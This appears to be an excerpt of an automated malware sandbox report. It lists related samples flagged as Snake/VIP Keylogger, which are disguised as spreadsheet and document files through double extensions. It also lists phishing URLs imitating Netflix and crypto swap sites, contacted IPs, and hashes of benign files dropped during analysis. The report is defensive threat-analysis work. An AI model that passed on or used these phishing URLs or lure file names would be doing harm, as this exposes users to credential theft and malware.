	09. Aragona Vessel's Details.xlsx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.20.3.235 162.159.138.232 172.67.19.24 185.199.109.133
	CHARIKLIA JUNIOR - PARTICULARS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.20.3.235 162.159.138.232 172.67.19.24 185.199.109.133
	https://williambarbosawb.github.io/Tela-Netflix	Get hash	malicious	Unknown	Browse	104.20.3.235 162.159.138.232 172.67.19.24 185.199.109.133
	https://dappsmultilinks.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	104.20.3.235 162.159.138.232 172.67.19.24 185.199.109.133
	https://mfbnt.com/	Get hash	malicious	Unknown	Browse	104.20.3.235 162.159.138.232 172.67.19.24 185.199.109.133
	https://mohammedsalihv.github.io/netflix/	Get hash	malicious	HTMLPhisher	Browse	104.20.3.235 162.159.138.232 172.67.19.24 185.199.109.133
	https://pancake.swap-web3.xyz/	Get hash	malicious	Unknown	Browse	104.20.3.235 162.159.138.232 172.67.19.24 185.199.109.133

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllulph:NllUp
MD5:	BE23ABFCF0259B7044668664D6CFD627
SHA1:	69D5A0DFFDEBACB10CA53FC248B4A8280BC2ACE6
SHA-256:	CCDDB23BB2B64E45B07A6E84F571E9809FD499B8390DC45F37123E288877930E
SHA-512:	44473B1516B1124786E187C25A8639604E57025FF10CCE1BDD93BC6A1152365C3C55F5FC0C4E988FC39BF97D42B1F5EC9ABBA849D07323B1E6E2CA69792FC597
Malicious:	false
Preview:	@...e...............................[.X..............@..........

C:\Users\user\AppData\Local\Temp\RESD20F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x492, 9 symbols, created Mon Sep 16 08:08:44 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1336
Entropy (8bit):	3.972381587259466
Encrypted:	false
SSDEEP:	24:HUm9pI81FmH5wKqxmNII+ycuZhN9dakSiyPNnqSSd:rI8vmCKqxmu1ulXa37qSC
MD5:	77D0844167A1249649F3ED224973A294
SHA1:	70C746EBF1B93698D0AF6D5918D281C8C7326C91
SHA-256:	D9A9AE0B749EEE081D42710A36F07FF3E0F5C2387A4EC61E6599F05214922EDF
SHA-512:	D9448E3F248FCD7CBCA67EA436462EB3A75C100373237779C96C9360FB5052AF2DC9109C98EC016A7CBAAC0DBF29D44079920ECF96BE07C2019F549FEF976EAB
Malicious:	false
Preview:	L......f.............debug$S........T...................@..B.rsrc$01........X.......8...........@..@.rsrc$02........P...B...............@..@........U....c:\Users\user\AppData\Local\Temp\txglqdpo\CSCFCCF7DA9204A4074A4DB161ACEE12220.TMP..................EQPV{..&6$...?V..........5.......C:\Users\user\AppData\Local\Temp\RESD20F.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...t.x.g.l.q.d.p.o...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.

C:\Users\user\AppData\Local\Temp\RESDAD9.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x492, 9 symbols, created Mon Sep 16 08:08:46 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1336
Entropy (8bit):	4.001826205092398
Encrypted:	false
SSDEEP:	24:Him9pSCHJwKqxmNII+ycuZhNWUakSn5PNnqSSd:1SCSKqxmu1ulWUa3n7qSC
MD5:	232C794C1EE17F8960D3A99714D82193
SHA1:	FB3B5641268CFDAD10AC1D8FFAA9A3DDFAA4D1CA
SHA-256:	B785ECF074D040679F360349FB12C29CA01FF7B4E4701FF3AA295BCDA47008CC
SHA-512:	06896EB6920E0B274327988D968F753B22CE136590BEECADB373BC64062E5AD24D4B2971276AC86C764D70BCA3E2A26D17EA3FCF6F542483F4C3E16ACDEEAB17
Malicious:	false
Preview:	L......f.............debug$S........T...................@..B.rsrc$01........X.......8...........@..@.rsrc$02........P...B...............@..@........U....c:\Users\user\AppData\Local\Temp\moha2pjv\CSCA4149D862A5C4366874B2835B59D82E1.TMP....................@4/..e&...k...........5.......C:\Users\user\AppData\Local\Temp\RESDAD9.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...m.o.h.a.2.p.j.v...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.

C:\Users\user\AppData\Local\Temp\RESDC30.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x492, 9 symbols, created Mon Sep 16 08:08:46 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1336
Entropy (8bit):	3.9981685611999302
Encrypted:	false
SSDEEP:	24:Him9pdqqSIXHrwKqxmNII+ycuZhNEfGakSlfXPNnqSSd:1dqz08Kqxmu1ulEea3ldqSC
MD5:	AD4C47B6345B8490A5768BD87F7E9FC7
SHA1:	4A76AB9A999AB66C539D4E8F25B90BF588F27AD3
SHA-256:	9AC51C96FC46E6993727A62E57EBE31428D4CFFF878FF54098D6397B47152566
SHA-512:	B25188030B6B9A8AEB1D39A1864817BA1A07CFA54C2F62A3C743F33041FFBD91E2E549D87A9422D6ACC19FF66F99E825619D22D7CA7487E9076B426377FC23AF
Malicious:	false
Preview:	L......f.............debug$S........T...................@..B.rsrc$01........X.......8...........@..@.rsrc$02........P...B...............@..@........U....c:\Users\user\AppData\Local\Temp\amlysbvw\CSC2A1C7825B77E498896BC74C8D6453DCB.TMP...................W]5...N'i..~w...........5.......C:\Users\user\AppData\Local\Temp\RESDC30.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...a.m.l.y.s.b.v.w...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.

C:\Users\user\AppData\Local\Temp\RESDFCA.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Mon Sep 16 08:08:47 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	3.98308255830232
Encrypted:	false
SSDEEP:	24:HyYzW9n7vzHPwKqxmNII+ycuZhNiYakSlNPNnqS2d:U7L4Kqxmu1ul5a3FqSG
MD5:	E60DD13AA70274C427C79548A944D114
SHA1:	86D84D85F3FCF718B44CF1F892B8514C3BBBD8C2
SHA-256:	A9416361BE11F005033AAE793D24945F67F1B016B755FEE3A653C0D7D9754882
SHA-512:	094E9719750A10471141B87A41B4FCCEC6575A4CE9DC473E4C0717D1F9037C4DFFA3C597FBC343ECD49E8B0C056CC9760623C4E8867118B616FB8B4BBB3BEFD2
Malicious:	false
Preview:	L......f.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........S....c:\Users\user\AppData\Local\Temp\nkfeparf\CSC893044B012DD471D94F368B2CDB922.TMP.................Y..Y_!#.<....W..........5.......C:\Users\user\AppData\Local\Temp\RESDFCA.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...n.k.f.e.p.a.r.f...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3cdu2qda.kuv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4fpw1eyz.g4h.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b5xhm2as.dud.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cqsmookl.btm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dkfmmlqf.l0i.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dq1zt5vw.4ib.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ezrt3fst.vsm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gfhrutu2.fmi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gkmwwota.mbl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gufl33ug.ans.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hhocq4x4.q5a.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lqa5xz5s.1hs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mi441qep.jef.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n32dwb51.q5s.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nphyjzzc.rg3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pcag1nno.cfj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qvqk4br3.3n2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_spld2ch3.wbc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u5n45w3s.gmu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uiefwhx3.hnv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_unvyivh5.ehn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
